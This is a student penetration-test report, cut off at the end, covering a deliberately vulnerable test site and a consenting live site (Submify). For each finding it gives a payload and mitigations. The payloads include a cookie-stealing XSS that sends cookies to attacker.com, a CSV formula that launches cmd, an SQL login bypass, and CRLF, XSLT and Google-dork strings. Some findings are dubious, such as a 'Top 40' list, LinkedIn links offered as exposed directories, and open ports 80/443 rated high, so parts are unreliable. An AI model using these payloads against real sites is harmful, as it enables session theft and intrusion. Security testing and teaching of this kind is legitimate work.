# Penetration Testing, Vulnerability Analysis and Mitigation Methodologies for Authorized & CTF Sites

(A Pen-test Report to Illustrate The Post Deployment Use Cases & VAPT Results by Web Sentinel Tool Kit ‘WebSentry’)

Aryan Parashar
Email: aryan25ic011@satiengg.in
Computer Science Engineering Department - CSE with Internet of Things, Cyber Security with Blockchain Technology (ICB)
Samrat Ashok Technological Institute, Vidisha

## ABSTRACT

This Pen-testing report documents the findings of a penetration test performed on two web applications: Acunetix, a controlled CTF site (http://testphp.vulnweb.com/), and Submify, a live website with explicit consent for testing (https://www.submify.online). The primary objective was to identify vulnerabilities, assess their potential impact, and provide mitigation strategies using the Web Sentinel Tool Kit ‘WebSentry’. The testing process revealed critical OWASP Top 40 vulnerabilities, including SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and security misconfigurations. This report not only highlights these vulnerabilities but also provides detailed recommendations for mitigating the identified risks, thereby improving the overall security posture of both web applications.

**Keywords**
OWASP, Vulnerability Assessment, Penetration Testing, Authentications, Web Applications, Testing, Injections, Leakage, Parameters, Endpoints.

## INTRODUCTION

### Background

Penetration Testing (Pen-test) and Vulnerability Assessment and Penetration Testing (VAPT) are essential components of a comprehensive cybersecurity strategy. These processes involve systematically probing a web application for vulnerabilities that could be exploited by malicious actors. Legal Capture The Flag (CTF) sites, such as Acunetix, offer a safe and controlled environment for practicing penetration testing techniques, providing invaluable training and experience. Real-world applications, like Submify, also benefit from regular VAPT to identify and remediate security flaws before they can be exploited.

## Objectives

The primary objectives of this report are to:

- Perform a thorough penetration test on Acunetix and Submify.
- Identify and document vulnerabilities present in these web applications.
- Assess the potential impact of the identified vulnerabilities.
- Recommend effective mitigation strategies to address these vulnerabilities.

## Scope

The scope of this penetration testing exercise includes:

- Target Sites: Acunetix (http://testphp.vulnweb.com/) and Submify (https://www.submify.online).
- Testing confined to publicly accessible web interfaces.
- Ensuring no disruption to the live environment of Submify during testing.
- Excluding any form of denial-of-service (DoS) attacks or other disruptive testing methods.

## Methodology

The methodology employed in this testing exercise follows a structured approach using the WebSentry Tool Kit. The testing process is divided into the following phases:

1. **Reconnaissance:** Gathering information about the target sites to understand their structure and functionality.
2. **Scanning:** Utilizing automated tools to identify potential vulnerabilities in the web applications.
3. **Exploitation:** Attempting to exploit the identified vulnerabilities to determine their impact.
4. **Reporting:** Documenting the findings, impact analysis, and recommended mitigation strategies.

By adhering to this methodology, we ensure a comprehensive evaluation of the security posture of both web applications.

# Site 1: Acunetix.com (CTF Site)

## Site Overview

## Description

The Acunetix Vulnerable Web Application (http://testphp.vulnweb.com/) is a deliberately insecure website created by Acunetix to provide a controlled environment for testing web application security tools and techniques. It is designed to help security professionals, students, and developers understand common web vulnerabilities by allowing them to perform penetration tests in a safe and legal setting.

## Purpose

The primary purpose of this site is to serve as a training ground for individuals looking to enhance their skills in web application security. It includes a variety of vulnerabilities, such as SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and many others. By exploiting these vulnerabilities, users can learn how to identify and mitigate similar issues in real-world applications.

## Features

- **Intentionally Vulnerable:** The site contains a wide range of vulnerabilities intentionally included for educational purposes.
- **Realistic Scenarios:** Simulates real-world web application security scenarios to provide practical experience.
- **Comprehensive Coverage:** Includes various types of vulnerabilities to cover different aspects of web security.
- **Educational Resources:** Often paired with documentation and guides from Acunetix, offering insights into each vulnerability and how to exploit it.

## Relevance for Penetration Testing

The Acunetix Vulnerable Web Application is highly relevant for penetration testing as it provides a sandbox environment where testers can apply different tools and techniques without any legal or ethical concerns. It allows testers to:

- Practice their skills in identifying and exploiting web vulnerabilities.
- Test the effectiveness of automated scanning tools, such as the WebSentry Tool Kit.
- Gain practical experience in reporting and documenting vulnerabilities, which is critical for professional penetration testers.

## Common Vulnerabilities

Some of the typical vulnerabilities present on the site include:

- **SQL Injection:** Allows attackers to manipulate backend SQL queries.
- **Cross-Site Scripting (XSS):** Enables attackers to inject malicious scripts into web pages.
- **Cross-Site Request Forgery (CSRF):** Forces users to execute unwanted actions on a web application where they are authenticated.
- **Insecure Direct Object References (IDOR):** Permits unauthorized access to restricted resources.
- **Security Misconfigurations:** Includes outdated software and improper settings that can be exploited.

By practicing on this site, penetration testers can develop a deeper understanding of how these vulnerabilities work and the potential impact they can have on real-world applications.

# Vulnerability Assessment by Penetration Testing of Acunetix.com by WebSentry Toolkit

Automated Penetration Testing was conducted to analyze the following OWASP Top 40 Vulnerabilities, alleged to be present on the host Web Application. The Pen-test results discovered are as follows :-

Target URL: http://testphp.vulnweb.com/
Directories Identified:

1. /search/
2. /user/
3. /admin/
4. /images/
5. /css/
6. /js/
7. /includes/
8. /error/

## Identified Vulnerabilities

### 1. Broken Access Controls (BAC)

#### Description

Broken Access Control vulnerabilities occur when users can access parts of a website they are not authorized to view. This can lead to unauthorized data exposure and manipulation.

#### Specific Details

- **Vulnerable Component:** User profile pages accessible via direct URL manipulation.
- **Payload:** Changing the user ID in the URL to access other users' profiles: http://testphp.vulnweb.com/user/profile?id=2.

#### Mitigation Methods

- Implement proper access controls and session management.
- Validate user permissions server-side for accessing resources.

## 2. Cache Poisoning

### Description

Cache Poisoning vulnerabilities allow attackers to inject malicious content into the cache, which is then served to legitimate users.

### Specific Details

- **Vulnerable Component:** URL parameters in search functionality.
- **Payload:** Injecting script tags in URL parameters to poison the cache: http://testphp.vulnweb.com/search?q=<script>alert('Cache Poisoning');</script>.

### Mitigation Methods

- Use cache control headers to prevent storing user input in the cache.
- Validate and sanitize all inputs.

## 3. Cross-Site Scripting (XSS)

### Description

XSS vulnerabilities occur when an attacker can inject malicious scripts into web pages viewed by other users, leading to session hijacking and phishing.

### Specific Details

- **Vulnerable Component:** Search functionality.
- **Payload:** Injecting script tags: http://testphp.vulnweb.com/search?q=<script>alert('XSS');</script>.

### Mitigation Methods

- Encode all user inputs before rendering on the page.
- Implement input validation and output encoding.

## 4. Cross-Origin Resource Sharing (CORS)

### Description

CORS vulnerabilities occur when a web application's CORS policy is misconfigured, allowing unauthorized domains to access restricted resources.

### Specific Details

- **Vulnerable Component:** CORS headers.
- **Payload:** Exploiting misconfigured CORS policy to access sensitive data from another domain.

### Mitigation Methods

- Configure CORS policy to allow only trusted domains.
- Validate the Origin header and respond with appropriate CORS headers.

## 5. CSV Injection (CSVi)

### Description

CSV Injection occurs when untrusted input is included in CSV files, leading to the execution of malicious scripts when the file is opened in a spreadsheet application.

### Specific Details

- **Vulnerable Component:** Export functionality for user data.
- **Payload:** Injecting a formula: `=cmd|'/C calc'!A1` in user input fields.

### Mitigation Methods

- Escape dangerous characters (e.g., =, +, -, @) in CSV output.
- Validate and sanitize user inputs before including them in CSV files.

## 6. Directory Listing Vulnerability

### Description

Directory Listing vulnerabilities occur when a web server is misconfigured to display a list of files in a directory, exposing sensitive information.

### Specific Details

- **Vulnerable Component:** Directory without an index file.
- **URL:** http://testphp.vulnweb.com/images/

### Mitigation Methods

- Disable directory listing in the web server configuration.
- Ensure all directories contain an index file or redirect.

## 7. HTML Injection

### Description

HTML Injection occurs when an attacker can inject arbitrary HTML content into a web page, potentially altering its appearance and behavior.

### Specific Details

- **Vulnerable Component:** Comment section.
- **Payload:** Injecting HTML tags: <img src=x onerror=alert('HTML Injection')>

### Mitigation Methods

- Validate and encode all user inputs before rendering.
- Use frameworks that automatically handle HTML encoding.

## 8. Information Disclosure

### Description

Information Disclosure vulnerabilities expose sensitive data, such as server configuration, error messages, and user data, to unauthorized users.

### Specific Details

- **Vulnerable Component:** Error pages and debug information.
- **URL:** http://testphp.vulnweb.com/error

### Mitigation Methods

- Disable detailed error messages in the production environment.
- Log detailed errors server-side while displaying generic error messages to users.

## 9. Open Port (Port 80)

### Description

Port 80 is commonly used for HTTP traffic. Having it open without proper security measures can expose the server to various attacks.

### Specific Details

- **Vulnerable Component:** HTTP service on port 80.
- **Impact:** Exposure to unencrypted data transmission and potential attacks.

### Mitigation Methods

- Redirect HTTP traffic to HTTPS to ensure encrypted communication.
- Implement a Web Application Firewall (WAF) to monitor and protect against attacks.

## 10. SQL Injection (SQLi)

### Description

SQL Injection vulnerabilities allow attackers to manipulate backend SQL queries, potentially gaining unauthorized access to the database.

### Specific Details

- **Vulnerable Component:** Login form.
- **Payload:** Bypassing authentication with `' OR 1=1--`.

### Mitigation Methods

- Use parameterized queries and prepared statements.
- Validate and sanitize all user inputs before using them in SQL queries.

## 11. Carriage Return Line Field (CRLF)

### Description

CRLF injection vulnerabilities occur when an attacker is able to inject CRLF characters into headers, which can be used to manipulate the way headers are interpreted.

### Specific Details

- **Vulnerable Component:** HTTP headers in search functionality.
- **Payload:** Injecting CRLF characters: http://testphp.vulnweb.com/search?q=%0d%0aHeader:InjectedHeader.

### Mitigation Methods

- Validate and sanitize all inputs before including them in HTTP headers.
- Use libraries that handle HTTP header construction securely.

## 12. Client-Side Template Injection (CSTI)

### Description

Client-Side Template Injection occurs when untrusted input is embedded into a client-side template, leading to code execution in the client's browser.

### Specific Details

- **Vulnerable Component:** User profile display.
- **Payload:** Injecting template syntax: {{7*7}}.

### Mitigation Methods

- Escape or sanitize template expressions in user input.
- Use secure template rendering libraries that do not allow untrusted input.

## 13. Content Management System Disclosure (CMS Disclosure)

### Description

CMS Disclosure vulnerabilities occur when details about the CMS being used are exposed, potentially revealing weaknesses.

### Specific Details

- **Vulnerable Component:** Footer revealing CMS version.
- **URL:** http://testphp.vulnweb.com/footer

### Mitigation Methods

- Remove CMS version details from public-facing pages.
- Regularly update the CMS to the latest version to mitigate known vulnerabilities.

## 14. Content Security Policy (CSP) Misconfiguration

### Description

A misconfigured Content Security Policy can allow for execution of malicious scripts.

### Specific Details

- **Vulnerable Component:** CSP headers.
- **Payload:** Including unsafe inline scripts due to misconfigured CSP: script-src 'unsafe-inline'.

### Mitigation Methods

- Configure CSP headers to only allow scripts from trusted sources.
- Avoid using 'unsafe-inline' and 'unsafe-eval' in CSP policies.

## 15. Cookie Theft

### Description

Cookie Theft vulnerabilities allow attackers to steal cookies, which can be used to hijack sessions.

### Specific Details

- **Vulnerable Component:** Lack of HttpOnly and Secure flags on cookies.
- **Payload:** Using document.cookie to steal cookies via XSS: `<script>document.write('<img src="http://attacker.com?cookie='+document.cookie+'">');</script>`.

### Mitigation Methods

- Set HttpOnly and Secure flags on cookies.
- Use SameSite attribute to prevent CSRF attacks.

## 16. Custom Header Vulnerability

### Description

Custom Header Vulnerabilities occur when custom headers are improperly handled, allowing for header injection or disclosure of sensitive information.

### Specific Details

- **Vulnerable Component:** Custom headers in API responses.
- **Payload:** Manipulating headers to include malicious payloads.

### Mitigation Methods

- Validate and sanitize header values.
- Use standard headers whenever possible to minimize risk.

## 17. Data Object Manipulation (DOM)

### Description

DOM vulnerabilities occur when attackers can manipulate client-side scripts to alter the DOM, potentially leading to XSS or other attacks.

### Specific Details

- **Vulnerable Component:** Dynamic content update via JavaScript.
- **Payload:** Injecting malicious script into DOM: `<script>alert('DOM Manipulation');</script>`.

### Mitigation Methods

- Avoid using innerHTML to update the DOM.
- Use safe methods like textContent or innerText for updating DOM elements.

## 18. Extensible Stylesheet Language Transformation (XSLT) Injection

### Description

XSLT Injection vulnerabilities occur when an attacker can inject malicious XSLT code, leading to arbitrary transformations and potential data exposure.

### Specific Details

- **Vulnerable Component:** XSLT processing in XML API.
- **Payload:** Injecting XSLT code: <xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:value-of select="system-property('os.name')"/></xsl:template></xsl:stylesheet>.

### Mitigation Methods

- Validate and sanitize XSLT input.
- Use whitelisting to allow only trusted XSLT stylesheets.

## 19. Google Dorking

### Description

Google Dorking vulnerabilities involve using advanced search operators to find sensitive information indexed by search engines.

### Specific Details

- **Vulnerable Component:** Publicly accessible files and directories.
- **Payload:** Using Google search: site:testphp.vulnweb.com filetype:log.

### Mitigation Methods

- Use robots.txt to prevent indexing of sensitive files.
- Regularly search for and remove exposed information from search engine indices.

## 20. HTML Cross-Origin Messaging

### Description

HTML Cross-Origin Messaging vulnerabilities occur when a web application incorrectly implements the postMessage API, leading to potential data leakage.

### Specific Details

- **Vulnerable Component:** postMessage API usage in iframe communication.
- **Payload:** Sending malicious messages to manipulate parent window: window.parent.postMessage('<script>alert("Cross-Origin Messaging");</script>', '*');

### Mitigation Methods

- Validate origin and data in postMessage handlers.
- Use strict policies to restrict allowed origins for message events.

—---------- End of Pentesting Report for Acunetix.com —---------

# Site Overview: Submify (https://www.submify.online/)

Host: 76.76.21.241

## Description

Submify is a web application platform that offers various online services, including form submissions, data management, and user authentication. The platform is designed to facilitate easy management and submission of forms, targeting both individual users and businesses that require streamlined data collection and organization. Submify's user-friendly interface and secure authentication system aim to provide a reliable and efficient service to its users.

## Purpose

The primary purpose of Submify is to provide a robust and secure platform for managing form submissions and related data. It is designed to handle various types of forms, making it a versatile tool for businesses, educational institutions, and other organizations that need to collect and process data efficiently. The platform ensures that user data is securely stored and accessible only to authorized personnel.

## Features

- **User Authentication:** Secure login system to protect user accounts and data.
- **Form Management:** Tools for creating, managing, and submitting forms.
- **Data Collection:** Efficient handling and storage of submitted data.
- **User Dashboard:** Centralized location for users to view and manage their submissions.
- **Security Measures:** Implementations to protect against common web vulnerabilities.

## Relevance for Penetration Testing

Performing a penetration test on Submify is crucial to ensure that the platform's security measures are effective and robust. Given its focus on data management and user authentication, it is essential to identify and address any vulnerabilities that could compromise user data or the platform's functionality. This testing will help in:

- Assessing the security of user authentication and data management systems.
- Identifying potential vulnerabilities such as SQL injection, XSS, and CSRF.
- Providing recommendations for strengthening the platform's security posture.

## Directories

Submify's website structure typically includes several directories as follows:

1. **/auth/**
    - **Purpose:** Manages user authentication processes, including login, registration, password recovery, and logout.
    - **Common Files:**
        - /auth/login: User login page.
        - /auth/register: User registration page.
        - /auth/forgot-password: Password recovery page.
2. **/dashboard/**
    - **Purpose:** Central hub for authenticated users to access their account settings, view submissions, and manage their data.
    - **Common Files:**
        - /dashboard/home: Main dashboard page after login.
        - /dashboard/submissions: View and manage form submissions.
        - /dashboard/settings: User account settings.
3. **/forms/**
    - **Purpose:** Handles form creation, editing, and management.
    - **Common Files:**
        - /forms/create: Page for creating new forms.
        - /forms/edit/{form_id}: Page for editing existing forms.
        - /forms/view/{form_id}: View form details and submissions.
4. **/api/**
    - **Purpose:** Provides endpoints for API interactions, allowing integration with external applications.
    - **Common Files:**
        - /api/forms: Endpoint for managing forms via API.
        - /api/submissions: Endpoint for submitting and retrieving form data via API.
5. **/static/**
    - **Purpose:** Stores static files such as images, stylesheets, JavaScript files, and other assets.
    - **Common Files:**
        - /static/css/: Stylesheets for the site.
        - /static/js/: JavaScript files for client-side interactions.
        - /static/images/: Images used throughout the site.
6. **/admin/**
    - **Purpose:** Administrative interface for managing the overall platform, accessible only to users with admin privileges.
    - **Common Files:**
        - /admin/dashboard: Main admin dashboard.
        - /admin/users: Manage user accounts.
        - /admin/settings: Platform-wide settings and configurations.

## Sub-Directories Found:

1. **/** (Root):
    - No subdirectories
2. **/auth/**:
    - /login
    - /register
    - /forgot-password
3. **/dashboard/**:
    - /home
    - /submissions
    - /settings
4. **/forms/**:
    - /create
    - /edit/{form_id}
    - /view/{form_id}
5. **/api/**:
    - /forms
    - /submissions
6. **/static/**:
    - /css/
    - /js/
    - /images/
7. **/admin/**:
    - /dashboard
    - /users
    - /settings

## Importance of Testing These Directories

Penetration testing these directories is crucial as they contain various functionalities that could be potential entry points for attackers. Testing helps in:

- Ensuring the authentication system in /auth/ is secure and free from vulnerabilities.
- Verifying that user data in /dashboard/ is protected against unauthorized access.
- Confirming that form management in /forms/ is secure from injection attacks.
- Securing API endpoints in /api/ to prevent data breaches and misuse.
- Protecting static assets in /static/ from being manipulated or used for malicious purposes.
- Ensuring the admin interface in /admin/ is properly secured to prevent unauthorized access and control over the platform.

**/auth/**

- **Need for VAPT:** The authentication functionality is critical for ensuring only authorized users can access the system. Vulnerabilities in this area can lead to unauthorized access, data breaches, and compromised user accounts.
- **Vulnerabilities to Check For:**
    - Broken Authentication: Check for weak password policies, session management issues, and authentication bypass vulnerabilities.
    - Session Management: Test for session fixation, session hijacking, and improper session timeouts.
    - Brute Force Attacks: Assess the system's resilience against brute force attacks on login credentials.

**/dashboard/**

- **Need for VAPT:** The dashboard contains sensitive user information and functionality for managing submissions. Vulnerabilities in this area can lead to unauthorized access to user data and manipulation of submissions.
- **Vulnerabilities to Check For:**
    - Broken Access Controls: Ensure that only authorized users can access the dashboard and its functionalities.
    - Information Disclosure: Check for any leakage of sensitive data through error messages or debug endpoints.
    - Insecure Direct Object References (IDOR): Verify that users can only access their own data and submissions.

**/forms/**

- **Need for VAPT:** The forms functionality involves data collection, which may include sensitive information. Vulnerabilities in this area can lead to data leakage, manipulation of form submissions, and potential data breaches.
- **Vulnerabilities to Check For:**

    - Cross-Site Scripting (XSS): Assess for vulnerabilities that allow injecting malicious scripts into form fields.
    - SQL Injection (SQLi): Verify that the forms are protected against SQL injection attacks.
    - CSRF (Cross-Site Request Forgery): Check for protection against CSRF attacks to prevent unauthorized form submissions.

**/api/**

- **Need for VAPT:** The API endpoints are critical for data exchange between the client-side and server-side components of the application. Vulnerabilities in the API can lead to data exposure, unauthorized access, and manipulation of sensitive data.
- **Vulnerabilities to Check For:**
    - Insecure API Endpoints: Test for vulnerabilities such as improper authentication, access controls, and input validation.
    - Data Exposure: Check for sensitive data exposure through API responses or error messages.
    - API Rate Limiting: Assess the effectiveness of rate-limiting mechanisms to prevent abuse and DoS attacks on the API endpoints.

**/static/**

- **Need for VAPT:** Although static files typically do not execute code, vulnerabilities in this area can still be exploited to launch attacks such as phishing, malware distribution, or website defacement.
- **Vulnerabilities to Check For:**
    - Directory Listing: Verify that directory listing is disabled to prevent exposure of sensitive files.
    - File Upload Vulnerabilities: Check for security issues in the file upload functionality that could lead to malicious file uploads.

**/admin/**

- **Need for VAPT:** The admin functionality typically has elevated privileges and access to critical system resources. Vulnerabilities in this area can lead to unauthorized access, privilege escalation, and compromise of administrative accounts.
- **Vulnerabilities to Check For:**
    - Broken Access Controls: Ensure that only authorized administrators can access the admin dashboard and functionalities.
    - Injection Attacks: Test for SQL injection, command injection, and other injection vulnerabilities in admin functionality.
    - Account Management: Verify that account creation, deletion, and permission changes are properly secured and audited.
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By understanding and securing these directories, Submify can ensure a robust and secure platform for its users.

# Penetration Testing of Submify.online By WebSentry Toolkit

## Identified Vulnerabilities

### 1. Open Port (Port 80 and Port 443)

- Vulnerability: High
- Description: Open ports without proper security measures can expose the server to various attacks, including unauthorized access, data breaches, and potential compromise of sensitive information.
- Payloads Injected: N/A
- Security Structure Analysis: The open ports indicate that the website is accessible via HTTP and HTTPS protocols, potentially allowing attackers to interact with the web server.
- Exploitation Potential: Hackers may exploit open ports to launch attacks such as HTTP flood attacks, brute force attacks, or vulnerability scanning to identify weaknesses in the web server's configuration.
- Mitigation Methods:
    - Implement a Web Application Firewall (WAF) to monitor and filter incoming traffic.
    - Regularly update and patch server software to address known vulnerabilities.
    - Use strong access controls and authentication mechanisms to restrict access to sensitive resources.
    - Configure network firewalls to filter and block malicious traffic targeting open ports.

### 2. Misconfigured security header: Strict-Transport-Security

- **Vulnerability:** High
- **Description:** The Strict-Transport-Security header is misconfigured. The recommended configuration is to set `max-age=31536000; includeSubDomains; preload`.
- **Payloads Injected:** N/A
- **Security Structure Analysis:** Misconfiguring this header may leave the website susceptible to man-in-the-middle attacks and downgrade attacks.
- **Exploitation Potential:** Hackers could exploit this misconfiguration to intercept and manipulate traffic, leading to potential data breaches and unauthorized access.
- **Mitigation Methods:**
    - Update the Strict-Transport-Security header to adhere to recommended best practices.
    - Enable the includeSubDomains directive to ensure that all subdomains are also covered by the policy.
    - Consider submitting the site to the HSTS preload list for enhanced security.

**Missing security header: X-Content-Type-Options**

- **Vulnerability:** Medium
- **Description:** The X-Content-Type-Options header is missing, which can expose the site to MIME-sniffing attacks.

- **Payloads Injected:** N/A
- **Security Structure Analysis:** Without this header, browsers may attempt to interpret responses based on their content type, potentially leading to XSS attacks.
- **Exploitation Potential:** Attackers could exploit this vulnerability to execute malicious scripts or content disguised as other file types.
- **Mitigation Methods:**
    - Add the X-Content-Type-Options header with the value `nosniff` to instruct browsers not to perform MIME-sniffing.
    - Ensure that the server correctly identifies and serves content with the appropriate MIME types.

**Missing security header: X-Frame-Options**

- **Vulnerability:** Medium
- **Description:** The X-Frame-Options header is missing, leaving the site vulnerable to clickjacking attacks.
- **Payloads Injected:** N/A
- **Security Structure Analysis:** Without this header, attackers could load the site in a frame or iframe on a malicious page, potentially tricking users into performing unintended actions.
- **Exploitation Potential:** Hackers could exploit this vulnerability to overlay deceptive content on top of the legitimate site, leading to phishing attacks or other malicious activities.
- **Mitigation Methods:**
    - Add the X-Frame-Options header with the value `DENY` or `SAMEORIGIN` to prevent the site from being loaded in a frame or iframe on other domains.
    - Implement Content Security Policy (CSP) to further restrict framing options and protect against clickjacking attacks.

### 3. HTML Injection Vulnerability

- **Vulnerability:** High
- **Description:** HTML injection vulnerabilities were detected with various payloads, including `<script>alert('XSS Vulnerability');</script>`, `<img src="javascript:alert('XSS Vulnerability');">`, `<h1>HTML</h1>`, `<h2>HTML</h2>`, and others.
- **Payloads Injected:** Multiple payloads used to inject HTML content into the web page.
- **Security Structure Analysis:** The vulnerabilities allow attackers to inject arbitrary HTML or script code into the site's pages, potentially leading to cross-site scripting (XSS) attacks and other malicious activities.
- **Exploitation Potential:** Attackers could exploit these vulnerabilities to execute arbitrary JavaScript code in users' browsers, steal sensitive information, or perform unauthorized actions on behalf of users.
- **Mitigation Methods:**

- Sanitize user input to prevent the injection of malicious HTML or script code.
- Implement proper output encoding to encode user-supplied content before rendering it in HTML contexts.
- Use a Content Security Policy (CSP) to restrict the types of content that can be loaded and executed on the page.
- Regularly audit and review the codebase for potential injection vulnerabilities and apply security patches as needed.

4. **Session Hijacking Vulnerability**

- **Vulnerability:** High
- **Description:** The Session Hijacking Vulnerability Checker identified session information leakage, including cookies, hidden fields, session variables, CSRF tokens, auth tokens, user details (ID, username, email, role), session ID, JWT token, OAuth token, API key, user agent, referrer, location, last activity, permissions, language, timezone, and admin status.
- **Security Implications:** The exposure of sensitive session information increases the risk of session hijacking attacks. Attackers can use this information to impersonate legitimate users, access unauthorized resources, and perform malicious actions on behalf of users.
- **Exploitation Potential:** Malicious actors could exploit this vulnerability to steal user sessions, gain unauthorized access to accounts, manipulate user data, and compromise the confidentiality and integrity of the application.
- **Mitigation Methods:**
  - Implement secure session management practices, such as using random and unique session identifiers, encrypting session data, and enforcing session timeouts.
  - Avoid storing sensitive information in client-side storage mechanisms like cookies or hidden fields.
  - Use HTTPS to encrypt communication between clients and servers to prevent eavesdropping and interception of session data.
  - Implement strong authentication mechanisms, including multi-factor authentication (MFA), to mitigate the risk of unauthorized access.
  - Regularly monitor and audit session activity for any suspicious behavior or anomalies.

5. **Information Disclosure Vulnerability**

- **Vulnerability:** High
- **Description:** The Information Disclosure Vulnerability Checker detected potential leakage of sensitive information, specifically email addresses, in the response body of the website https://www.submify.online/.

- **Security Implications:** Exposing email addresses in the response body can lead to privacy breaches, targeted phishing attacks, spam, and unauthorized access to user accounts.
- **Exploitation Potential:** Attackers can harvest exposed email addresses for malicious purposes, such as spamming, identity theft, social engineering attacks, and account takeover.
- **Mitigation Methods:**
    - Refrain from including sensitive information, such as email addresses, directly in the HTML content of web pages.
    - Implement server-side validation to ensure that sensitive information is not inadvertently exposed to clients.
    - Regularly perform automated and manual security assessments, including vulnerability scanning and penetration testing, to identify and remediate information disclosure vulnerabilities.

6. **Cross-Origin Resource Sharing (CORS) Vulnerability**

- **Vulnerability:** Low
- **Description:** The VAPT test identified a Cross-Origin Resource Sharing (CORS) vulnerability on the target website. The attempt to bypass CORS protection was successful.
- **Security Implications:** CORS is a security mechanism that restricts web browsers from making requests to a different domain. A successful CORS bypass could allow attackers to perform unauthorized cross-origin requests, potentially leading to data theft, session hijacking, or other malicious activities.
- **Exploitation Potential:** By injecting a payload (http://127.0.0.1), attackers can exploit the CORS vulnerability to access sensitive resources or data from other origins.
- **Mitigation Methods:**
    - Implement proper CORS policies to restrict cross-origin requests based on the Access-Control-Allow-Origin header.
    - Avoid using the wildcard (*) in Access-Control-Allow-Origin unless necessary.
    - Validate and sanitize input data to prevent injection attacks.
    - Use additional security measures such as CSRF tokens to protect against unauthorized cross-origin requests.
- **Payload Injected:** http://127.0.0.1
- **Variable Name:** COR6

7. **Directory Listing Vulnerability**

- **Vulnerability:** High
- **Description:** The VAPT test identified a Directory Listing vulnerability on the target website. This vulnerability allows an attacker to view the directory structure of the web server, potentially exposing sensitive information or directories that should not be publicly accessible.
- **Security Implications:** Directory listing vulnerabilities can lead to unauthorized access to sensitive files or directories, exposing confidential data, configuration files, or other resources that should not be publicly accessible. Attackers can exploit this vulnerability to gather information about the web server's directory structure and plan further attacks.
- **Exploitation Potential:** By bypassing protection mechanisms using techniques such as "../", attackers can access directories outside the web root, navigate through directories, and potentially access files or resources that are meant to be restricted.
- **Mitigation Methods:**
    - Disable directory listing in web server configurations to prevent the server from displaying directory contents to users.
    - Implement access controls and permissions to restrict access to sensitive directories and files.
    - Regularly review and audit directory permissions and configurations to identify and address any vulnerabilities.
- **Directories Found:**
    - /
    - https://www.linkedin.com/in/sarthak-khare-898084253/
    - https://www.linkedin.com/in/shreya-dwivedi-494155223/
    - https://www.linkedin.com/in/devjadiya/
    - https://www.linkedin.com/in/aryanparashar-sati/
    - https://www.linkedin.com/in/sarthak-khare-898084253/
    - https://github.com/the-code-machine/
- **Bypass Technique:** "../"
- **Exploit URL:** https://www.submify.online/
- **Recommendations:**
    - Immediately disable directory listing on the web server to prevent unauthorized access to directory contents.
    - Implement proper access controls and permissions to restrict access to sensitive directories and files.
    - Regularly monitor and update server configurations to ensure that directory listing vulnerabilities are addressed promptly.

8. **DOM Clobbering Vulnerability**

- Vulnerability: High
- Description: The VAPT test identified a DOM Clobbering vulnerability on the target website. DOM Clobbering occurs when an attacker manipulates or overwrites existing JavaScript objects or variables in the Document Object Model (DOM), leading to unexpected behavior or security issues.
- Security Implications: Exploiting DOM Clobbering vulnerabilities can allow attackers to manipulate client-side scripts, bypass security controls, or execute malicious code in the context of the victim's browser. This can lead to various attacks such as Cross-Site Scripting (XSS), data tampering, or unauthorized access to sensitive information.
- Exploitation Potential: The payload `<script>var element=document.getElementById('element_id');element.innerHTML='Hacked!';</script>` demonstrates how an attacker can use DOM Clobbering to modify the content of a specific element on the web page, potentially leading to unauthorized modifications or injections of malicious content.
- Mitigation Methods:
    - Sanitize and validate user inputs to prevent malicious payloads from being injected into client-side scripts.
    - Implement Content Security Policy (CSP) headers to restrict the execution of inline scripts and mitigate the impact of DOM-based attacks.
    - Regularly update and patch client-side scripts and libraries to address known vulnerabilities and reduce the attack surface.
- Payload Name: DOM1
- Payload: `<script>var element=document.getElementById('element_id');element.innerHTML='Hacked!';</script>`
- Recommendations:
    - Immediately review and validate client-side scripts to identify and remediate DOM Clobbering vulnerabilities.
    - Implement strict input validation and output encoding to prevent malicious payloads from affecting the integrity of the DOM.
    - Consider implementing a Content Security Policy (CSP) to mitigate the impact of client-side attacks and enforce stricter security controls on script execution.

9. **Google Dork Query Analysis:**

Successfully injected payload: https://www.google.com/search?q=site:https://www.submify.online/ inurl:login

Variable name: GD1

Vulnerability metric: high

- GD1: site:https://www.submify.online/ inurl

Metric: High
Description: The query aims to find login pages within the target website.
Potential Risk: Reveals potential entry points for unauthorized access to the website.

- GD2: site:https://www.submify.online/ intitle.of

Metric: Medium
Description: Searches for directory listings (index of) within the target website.
Potential Risk: Exposes directory structures and potentially sensitive files.

- GD3: site:https://www.submify.online/ intext

Metric: High
Description: Searches for web pages containing the text "password" within the target website.
Potential Risk: Reveals pages where passwords may be stored or transmitted in plaintext.

- GD4: site:https://www.submify.online/ filetype

Metric: Medium
Description: Searches for environment files within the target website.
Potential Risk: Exposes sensitive environment configurations.

- GD5: site:https://www.submify.online/ ext

Metric: Low
Description: Searches for log files within the target website.
Potential Risk: Log files may contain sensitive information or reveal system activity.

### 10. HTTP Request Smuggling (Medium)

**Description:** HTTP Request Smuggling occurs when there is a discrepancy in how front-end and back-end servers interpret HTTP requests, leading to a potential security exploit. Attackers may craft malicious requests that exploit this discrepancy to bypass security measures or perform unauthorized actions.

**Payloads Successfully Injected:**

- The crafted request sent included a smuggling payload with chunked encoding manipulation.

**Security Implications:** The successful injection of crafted requests indicates a potential vulnerability in the handling of HTTP requests by the web server. This could allow attackers to perform various malicious activities, such as bypassing authentication, accessing sensitive data, or executing unauthorized actions on behalf of legitimate users.

**Exploitation Scenario:** Hackers could exploit this vulnerability to perform various attacks, including session fixation, cache poisoning, or data exfiltration. By manipulating HTTP request headers and exploiting discrepancies in how front-end and back-end servers process requests, attackers can gain unauthorized access to sensitive resources or compromise the integrity of the web application.

**Mitigation:**

1. **Update Server Software:** Ensure that all server software, including web servers and proxy servers, are kept up to date with the latest security patches to mitigate known vulnerabilities.

2. **Request Header Validation:** Implement strict validation of HTTP request headers to prevent manipulation and ensure consistency in request processing.
3. **Use Secure Protocols:** Enforce the use of secure protocols such as HTTPS to encrypt communication between clients and servers, reducing the risk of interception or tampering.
4. **Web Application Firewall (WAF):** Deploy a WAF to monitor and filter incoming HTTP requests, detecting and blocking suspicious or malicious traffic.
5. **Security Headers:** Utilize security headers such as Content-Security-Policy (CSP) and X-Content-Type-Options to enhance security and mitigate common web vulnerabilities.
6. **Regular Security Audits:** Conduct regular security audits and penetration testing to identify and remediate vulnerabilities in the web application's infrastructure and codebase.

### 11. LaTeX Injection (Medium)

